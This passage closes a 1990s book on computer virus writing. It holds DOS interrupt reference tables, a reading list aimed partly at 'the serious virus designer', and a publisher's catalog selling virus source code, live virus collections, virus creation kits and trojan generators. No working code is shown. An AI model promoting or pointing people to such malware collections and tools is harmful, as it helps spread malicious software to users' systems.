Function 40H writes cx bytes to the file referenced by handle bx from the

buffer ds:dx. The data is written to the file starting at the current file

pointer.

Function 41H: Delete File

Registers: ah = 41H

ds:dx = Pointer to ASCIIZ string of path/file to delete

Returns: c = set if an error occurs

ax = Error code in the event of an error

This function deletes a file from disk, as specified by the path and file

name in the null terminated string at ds:dx.

Function 42H: Move File Pointer

Registers: ah = 42H

Appendix G: BIOS and DOS Interrupt Functions 161

 

al = Method of moving the pointer

bx = File handle

cx:dx = Distance to move the pointer, in bytes

Returns: c = set if there is an error

ax = Error code if there is an error

dx:ax = New file pointer value, if no error

Function 42H moves the file pointer in preparation for a read or write

operation. The number in cx:dx is a 32 bit unsigned integer. The methods

of moving the pointer are as follows: al=0 moves the pointer relative to

the beginning of the file, al=1 moves the pointer relative to the current

location, al=2 moves the pointer relative to the end of the file.

Function 43H: Get and Set File Attributes

Registers: ah = 43H

al = 0 to get attributes, 1 to set them

cl = File attributes, for set function

ds:dx = Pointer to an ASCIIZ path/file name

Returns: c = set if an error occurs

ax = Error code when an error occurs

cl = File attribute, for get function

The file should not be open when you get/set attributes. The bits in cl

correspond to the following attributes:

Bit 0 Read Only attribute

Bit 1 Hidden attrubute

Bit 2 System attribute

Bit 3 Volume Label attribute

Bit 4 Subdirectory attribute

Bit 5 Archive attribute

Bit 6 and 7 Not used

Function 47H: Get Current Directory

Registers: ah = 47H

162 The Little Black Book of Computer Viruses

 

dl = Drive number, 0=Default, 1=A, 2=B, etc.

ds:si = Pointer to buffer to put directory path name in

Returns: c = set if an error occurs

ax = Error code when an error occurs

The path name is stored in the data area at ds:si as an ASCIIZ null

terminated string. This string may be up to 64 bytes long, so one should

normally allocate that much space for this buffer.

Function 4EH: Find First File Search

Registers: ah = 4EH

cl = File attribute to use in the search

ds:dx = Pointer to an ASCIIZ path/file name

Returns: ax = Error code when an error occurs, or 0 if no error

The ASCIIZ string at ds:dx may contain the wildcards * and ?. For

example, ``c:\dos\*.com'' would be a valid string. This function will return

with an error if it cannot find a file. No errors indicate that the search was

successful. When successful, DOS formats a 43 byte block of data in the

current DTA which is used both to identify the file found, and to pass to

the Find Next function, to tell it where to continue the search from. The

data in the DTA is formatted as follows:

Byte Size Description

0 21 Reserved for DOS Find Next

21 1 Attribute of file found

22 2 Time on file found

24 2 Date on file found

26 4 Size of file found, in bytes

30 13 File name of file found

The attribute is used in a strange way for this function. If any of the Hidden,

System, or Directory attributes are set when Find Next is called, DOS will

search for any normal file, as well as any with the specified attributes.

Archive and Read Only attributes are ignored by the search altogether. If

the Volume Label attribute is specified, the search will look only for files

with that attribute set.

Appendix G: BIOS and DOS Interrupt Functions 163

 

Function 4FH: Find Next File Search

Registers: ah = 4FH

Returns: ax = 0 if successful, otherwise an error code

This function continues the search begun by Function 4E. It relies on the

information in the DTA, which should not be disturbed between one call

and the next. This function also modifies the DTA data block to reflect the

next file found. In programming, one often uses this function in a loop

until ax=18, indicating the normal end of the search.

Function 57H: Get/Set File Date and Time

Registers: ah = 57H

al = 0 to get the date/time

al = 1 to set the date/time

bx = File Handle

cx = 2048*Hour + 32*Minute + Second/2 for set

dx = 512*(Year1980) + 32*Month + Day for set

Returns: c = set if an error occurs

ax = Error code in the event of an error

cx = 2048*Hour + 32*Minute + Second/2 for get

dx = 512*(Year1980) + 32*Month + Day for get

This function gets or sets the date/time information for an open file. This

information is normally generated from the system clock date and time

when a file is created or modified, but the programmer can use this function

to modify the date/time at will.

164 The Little Black Book of Computer Viruses

 

Appendix H: Suggested Reading

Inside the PC

------, IBM Personal Computer AT Technical Reference (IBM Corpora

tion, Racine, WI) 1984. Chapter 5 is a complete listing of the IBM AT

BIOS, which is the industry standard. With this, you can learn all of

the intimate details about how the BIOS works. You have to buy the

IBM books from IBM or an authorized distributor. Bookstores don't

carry them, so call your local distributor, or write to IBM at PO Box

2009, Racine, WI 53404 for a list of publications and an order form.

------, IBM Disk Operating System Technical Reference (IBM Corpora

tion, Racine, WI) 1984. This provides a detailed description of all

PCDOS functions for the programmer, as well as memory maps,

details on disk formats, FATs, etc., etc. There is a different manual for

each version of PCDOS.

------, System BIOS for IBM PC/XT/AT Computers and Compatibles

(Addison Wesley and Phoenix Technologies, New York) 1990, ISBN

0201518066 Written by the creators of the Phoenix BIOS, this book

details all of the various BIOS functions and how to use them. It is a

useful complement to the AT Technical Reference, as it discusses how

the BIOS works, but it does not provide any source code.

Peter Norton, The Programmer's Guide to the IBM PC (Microsoft Press,

Redmond, WA) 1985, ISBN 0914845462. This book has been

through several editions, each with slightly different names, and is

widely available in one form or another.

 

Ray Duncan, Ed., The MSDOS Encyclopedia (Microsoft Press, Red

mond, WA) 1988, ISBN 1556150490. This is the definitive encyclo

pedia on all aspects of MSDOS. A lot of it is more verbose than

necessary, but it is quite useful to have as a reference.

Michael Tischer, PC Systems Programming (Abacus, Grand Rapids, MI)

1990, ISBN 1557550360.

Andrew Schulman, et al., Undocumented DOS, A Programmer's Guide

to Reserved MSDOSFunctions and Data Structures (Addison Wesley,

New York) 1990, ISBN 0201570645. This might be useful for you

hackers out there who want to find some nifty places to hide things that

you don't want anybody else to see.

------, Microprocessor and Peripheral Handbook, Volume I and II (Intel

Corp., Santa Clara, CA) 1989, etc. These are the hardware manuals for

most of the chips used in the PC. You can order them from Intel, PO

Box 58122, Santa Clara, CA 95052.

Ralf Brown and Jim Kyle, PC Interrupts, A Programmer's Reference to

BIOS, DOS and ThirdParty Calls (Addison Wesley, New York) 1991,

ISBN 0201577976. A comprehensive guide to interrupts used by

everything under the sun, including viruses.

Assembly Language Programming

Peter Norton, Peter Norton's Assembly Language Book for the IBM PC

(Brady/ Prentice Hall, New York) 1989, ISBN 0136624537.

Leo Scanlon, 8086/8088/80286 Assembly Language, (Brady/Prentice

Hall, New York) 1988, ISBN 0132469197.

C. Vieillefond, Programming the 80286 (Sybex, San Fransisco) 1987,

ISBN 0895882779. A useful advanced assembly language guide for

the 80286, including protected mode systems programming, which is

worthwhile for the serious virus designer.

John Crawford, Patrick Gelsinger, Programming the 80386 (Sybex, San

Fransisco) 1987, ISBN 0895883813. Similar to the above, for the

80386.

166 The Little Black Book of Computer Viruses

 

Viruses, etc.

Philip Fites, Peter Johnston, Martin Kratz, The Computer Virus Crisis

1989 (Van Nostrand Reinhold, NewYork) 1989, ISBN 0442285329.

Colin Haynes, The Computer Virus Protection Handbook (Sybex, San

Fransisco) 1990, ISBN 0895886960.

Richard B. Levin, The Computer Virus Handbook (Osborne/McGraw

Hill, New York) 1990, ISBN 0078816475.

John McAfee, Colin Haynes, Computer Viruses, Worms, Data Diddlers,

Killer Programs, and other Threats to your System (St. Martin's Press,

NY) 1989, ISBN 0312030649.

Steven Levey, Hackers, Heros of teh Computer Revolution (Bantam

Doubleday, New York, New York) 1984, ISBN 0440134056.

Ralf Burger, Computer Viruses and Data Protection (Abacus, Grand

Rapids, MI) 1991, ISBN 1557551235.

Fred Cohen,A Short Course on Computer Viruses (ASP Press, Pittsburgh,

PA) 1990, ISBN 1878109014.

Note

I would like to publicly thank Mr. David Stang for some

valuable suggestions on how to improve this book, and for pointing

out some errors in the first printing.

Appendix H: Suggested Reading 167

 

The Giant Black Book

of Computer Viruses

by Mark A. Ludwig, 672 pages, 1995, ISBN 0929408101, $39.95

Without a doubt, this is the best technical

refererence on computer viruses available any

where at any price! This book gives you a com

plete course on computer viruses which starts out

with a simple 44byte virus, and goes on to cover

every aspect of modern computer viruses.

In the first part of the book, you'll explore

replication techniques. You will start out with

simple overwriting viruses and companion vi

ruses, and go on to discuss parasitic viruses for

COM and EXE files and memory resident vi

ruses, including viruses which use advanced

memory control structure manipulation. Then

you'll tour boot sector viruses ranging from simple varieties that are safe

to play with up to some of the most successful viruses known, including

multipartite viruses. Advanced topics include infecting device drivers,

windows, OS/2, Unix and source viruses, with fully functional examples

of each.

The second part of the book will give you a solid introduction to the

battle between viruses and antivirus programs. It will teach you how virus

detectors work and what techniques they use. You'll get a detailed

introduction to stealth techniques used by both boot sector viruses and file

infecting viruses, including protected mode techniques. Next, there is a

tour of retaliating viruses which attack antivirus programs, and polymor

phic viruses. Finally, you'll get to experiment with the awesome power

of Darwinian genetic viruses.

The third part of the book deals with common payloads for viruses.

It includes a thorough discussion of destructive logic bombs, as well as

how to break the security of Unix and set up an account with super user

privileges. Also covered are the use of viruses to leak information through

covert channels, and beneficial viruses, including KOH.

This book is packed with detailed explanations of how all these

viruses work and full source code for 37 different viruses and 4 antivirus

programs. It also contains exercises designed to make you as proficient as

the author in this subject. Nothing is held back!

Airmail Shipping:Canada & Mexico add $8.00, others add $17.50

Program Disk $15.00

This disk contains full source and executables for all the viruses and antivirus programs

detailed in the book, including the KOH virus. Sorry, due to export restrictions, KOH is not

included on the disk for international customers. Youmay order it separately---see elsewhere

in this catalog.

Airmail Shipping:Canada & Mexico add $2.00, other countries add $3.00

 

The Collection CDROM

This is perhaps the hottest CDROM you will ever find anywhere.

Why do I say that? Take a look at what this CD contains:

. For starters, you get a fantastic virus collection consisting of 574

families, each of which may consist of anywhere from one to hundreds

of viruses about 3700 carefully tested and cataloged viruses in all (37

Megabytes).

. Roughly 700 files (2.8 Megabytes) containing new viruses which

aren't properly identified by most scanners.

. Plenty of source code and disassemblies of viruses to learn how they

work (12 Megabytes).

. Mutation engines, including the Dark Avenger's and the Trident Poly

morphic Engine, and others.

. Virus creation kits, including the Virus Creation Lab, Mass Produced

Code Generator, and others.

. Trojan horse programs, trojangenerating tools and source listings.

. Unusual and famous viruses for nonDOS environments, like the

Internet Worm and the Christmas virus.

. Virusrelated electronic newsletters ranging from the establishment

VirusL to underground sources like 40 Hex, Crypt and Nuke. (76

Megabytes)

. Text files and databases on viruses to tell you exactly what they do

when they attack (10 Megabytes)

. A test bed of mutating viruses to test your scanner against.

. Virus Simulators

. Amultitude of shareware/freeware antivirus programs (8 Megabytes)

. Assembly language and virushandling tools including an assembler

and disassembler.

 

In all, this CD is one of the most fascinating collections of secret

underground computer software on earth---a full 157 megabytes in total.

We have collected these viruses and programs from all over the world

during the past several years. They represent the work of virus researchers,

antivirus developers, and the virus underground.

If you are a virus researcher who needs live viruses, or an antivirus

developer who refuses to be content with being handed search strings, this

CD is an absolute must. Assembled from American Eagle's private

collection, this is your opportunity to get the inside scoop on viruses that

you just can't get without a major independent collection.

If you don't trust your antivirus program to catch viruses effectively,

this CD will allow you to test it like never before! You can find out

firsthand just what your antivirus software can and cannot do. Watch as

it misidentifies viruses, identifies two different viruses by the same name,

and fails to spot others! Once you do that, you'll know just what you can

and cannot expect from your software. You don't have to buy antivirus

software without testing it anymore!

Up until now, this information has been hard to obtain. Soon, it may

be illegal to get it in the US. In many countries it already is illegal to

distribute virus code. Everyyear, Congress attempts to put a new computer

crime bill through which includes sanctions against the distribution of

virus code in the US. Every year, agressive lawyers and prosecutors seek

to interpret vague laws in new ways. The First Amendment is being

systematically burned up in cyberspace, and chances are, your ability to

buy material like this will be seriously curtailed before long. For now,

though, we are able to make this incredible collection available. If you've

ever even considered getting ahold of this material, don't wait, or you may

be too late!!

IBMPC Format CDROM $99.95

All CDs are shipped by certified mail in the US so that they don't get lost. Please add $5.00

shipping. All CDs shipped to other countries are sent by registered airmail. Customers in

Canada and Mexico please add $8.00, all other countries please add $10.00 shipping.

Note: This offer is good at the time of the publication of this catalog.

Due to the extremely controversial nature of this material, we may be

forced to discontinue it without notice at any time. Already, our advertis

ing has been banned in Soldier of Fortune, PC Magazine, Computer

Shopper, Dr. Dobbs, and many others because of this CD. If this CD is

withdrawn before your order is received, your money will be refunded.

The purchaser takes all responsibility to comply with local laws concern

ing possession or importation of this material.

 

The Virus Creation Labs

by George C. Smith, 176 pages, 1994,

$12.95

ISBN 0929408098

Take a journey into the underground,

where some people think they're police and

some think they're God . . . where lousy

products get great reviews and people who

write good programs are shouted down by

fools. Visit a world of idiots gawking at tech

nological marvels as those marvels munch up

their data. Visit a world where government

agents distribute viruses and antivirus developers hire virus writers (or

work for them).

George Smith, editor of the infamous underground Crypt Newsletter,

and onetime virus exchange BBS operator, lays bare the inner workings

of both the virus writing groups and the antivirus industry in this outra

geous new book. Get the inside dope on the great Michelangelo scare, on

the Virus Creation Lab and the Dark Avenger's Mutation Engine. Find

out about governmentrun virus distribution BBSes and see how the Secret

Service reacts when a highschool kid takes down their computer network.

Meet virus authors like Aristotle, Screaming Radish, Priest, Masud Khafir

and Colostomy Bagboy. Juciest of all, you'll get a revealing look at the

complex and often perverse interactions between the virus writers and the

antivirus community. This book has some shocking revelations in it that

you won't want to miss. Need I say more??

Airmail Shipping:Canada & Mexico add $3.25, others add $6.75

``There are relatively few books on the 'computer underground' that provide richly descrip

tive commentary and analysis of personalities and culture that simultaneously grab the reader

with entertaining prose. Among the classics are Cliff Stoll's The Cuckoo's Egg, Katie Hafner

and John Markoff's Cyberpunk, and Bruce Sterling's The Hacker Crackdown. Add George

Smith's The Virus Creation Labs to the list

. . . Virus Creation Labs is about viruses as

M*A*S*H is about war!''

Jim Thomas

Computer Underground Digest

``I opened the book at random and it grabbed me right from the first paragraph. I sat down

that same weekend and read the whole thing!''

Victor Sussman

US News & World Report

``an engaging, articulate diatribe on the world of computer virus writers . . . . hilarious,

mindopening reading.''

Bill Peschel

McClatchy Newswire

``a hard book to put down. It is well written . . . very entertaining. I very much enjoyed it,

however some of the people who are mentioned won't. Personally, I believe that being

mentioned is a mark of worth in the industry.'' Pete Radatti

VirusL Newsletter

 

Computer Viruses,

Artificial Life

and Evolution

By Mark A. Ludwig, 373 Pages, 1993, $26.95

ISBN 0929408071

Step into the 21st century where the dis

tinction between a living organism and a com

puter program begins to melt away. Will

evolution fuel an explosion of computer vi

ruses? Is a computer virus really alive? Will artificial life research succeed

in producing programs that are really alive? Will computer scientists steal

the thunder of evolutionary biologists, and turn evolution into a branch of

mathematics?

In Computer Viruses, Artificial Life and Evolution, Dr. Ludwig, a

physicist by trade, proposes to explore the world of computer viruses,

looking at them as a form of artificial life. This is the starting point for an

original and thoughtful introduction to the whole question of ``What is

Life?'' Ludwig realizes that no glib answer will do if someone is going to

``come out and say that the virus in your computer is alive, and you should

respect it and let it be fruitful and multiply rather than kill it.'' Sohe surveys

this very basic question in great depth. He discusses the mechanical

requirements for life. Yet he also introduces the reader to the deeper

philosophical questions about life, ranging from Aristotle to modern

quantum theory and information theory. This tour will leave you with a

deeper appreciation of both the certainties and the mysteries about what

life is.

Next, Ludwig digs into abiogenesis and evolution. He discusses why

viruses are so interesting in this regard, and goes on to show that, even

though they are very different from wet biology, computer viruses exhibit

many similarities to life as we know it too. The author demonstrates how

computer viruses can solve the real world problems they face, like evading

virus scanners, by successfully using evolution.

Yet Ludwig doesn't ignore the difficulties of evolution in the real

world. His training as a physical scientist becomes apparent as he relent

lessly seeks hard and fast results from a theory that hasn't been formulated

to produce them. Why shouldn't a proper theory of evolution give useful

predictions in any world we care to apply it to? Viruses or wet biology, it

should work for both. Ludwig is pessimistic about what wet biology has

produced: ``the philosophical commitments of Darwinism seem to be

poisoning it from within,'' yet he doesn't run to supernaturalism. Rather,

looking forward, he argues that ``Artificial life holds the promise of . . . a

real theory of evolution . . . . Any theory we formulate ought to explain

the whole gamut of worlds, ranging from those which couldn't evolve

anything to those which evolve as much as possible.'' But will AL live up

to this challenge, or will it become little more than ``mathematical story

 

telling?'' What is AL's future? Ludwig lays it out clearly for the reader in

a provocative and lucid style.

If you have questions or reservations about artificial life, this book

will open new doors for you. If you think you understand evolution or

artificial life, this book will challenge you to reexamine it. If you wonder

where computer viruses are headed in the coming decades, you can take

a peek right here. If you just find viruses fascinating and wonder whether

they could be alive, this book will give you unique insights you never

imagined!

Airmail Shipping:Canada & Mexico add $6.00,

other countries add $11.00

Program Disk

Diskette---$15.00

The Program Disk for Computer Viruses, Artificial Life and Evolution contains all of the

programs discussed in the book, including the SelfReproducing Automaton Lab, the

Darwinian Genetic Mutation Engine, the Trident Polymorphic Engine, the IntruderII virus,

the Lamark virus, the Scanslip virus and much more!

Airmail Shipping:Canada & Mexico add $2.00,

other countries add $3.00

 

The Fine Print . . . .

Shipping Charges

Inside the US, please add $3.00 for the first book and $1.50 for each

additional book for shipping, or combination of 2 disks. This covers book

rate shipping. Add $5.00 for The Collection CDROM, which is shipped

certified mail. If you need faster delivery please call. Most books can be

sent priority mail for $1 extra each. Overseas customers please add the

amounts noted by each item if you want airmail. Add the domestic rates

for surface mail. If you are unsure, call.

Phone and Fax Orders

We now accept orders by phone and fax. Call our phone order line at

(800)7194957. If you want information, to send a fax, or you just want

to talk, please call (520)3671621. We can ship COD or against a credit

card, and we accept purchase orders from companies with good credit.

Our area code should be 520 by the time you get this catalog, however

this date has been pushed back several times by the phone company

already, so if you have trouble with the 520 area code, try the old one of

602.

Payment Methods and Privacy

We accept payment by cash, check, money order or Visa/Mastercard,

and we will ship COD to addresses in the US. Overseas customers use

credit cards or send a bank draft in US dollars drawn on a US bank.

Otherwise send cash. In most cases we can accept either dollars or your

local currency, provided it is exchangeable. Just send enough---that's what

really counts. Please do not ask to send wire transfers. If you MUST, then

add $30 to cover the bank fees and be prepared to wait two months so we

can determine who sent what.

When you place a credit card order you leave a trail a mile wide. It is

a very public transaction. As such, we've decided to treat credit card orders

differently from other orders. Effective September 15, 1995, if you order

by credit card, you are stating that you do not care about privacy. Well, if

the government and any hacker can access your name once you've paid

by credit card, keeping the transaction private is futile anyhow. So if

anyone wants to buy our mailing list, we'll sell them your name. On the

other hand, if you send a check, cash, or money order, we will not release

your name to anyone ever, under any circumstances. Personally, if privacy

matters to you, I'd send cash or a money order (you don't have to put your

name on a money order).

Satisfaction Guarantee

We unconditionally guarantee your satisfaction on all orders. If you

have a problem, just call, and we'll do what it takes to get it right.

 

ORDER FORM

Name

Address

City, State, Zip

Country

Qty Description Price

Arizona Residents add 8% sales tax

Shipping (See reverse)

Total

Payment Method

Cash Money Order Visa Master Charge

Credit Card #

Expiration Date

Signature

Send your order to: American Eagle Publications, Inc.

P.O. Box 1507

Show Low, Arizona 85901

or call: 18007194957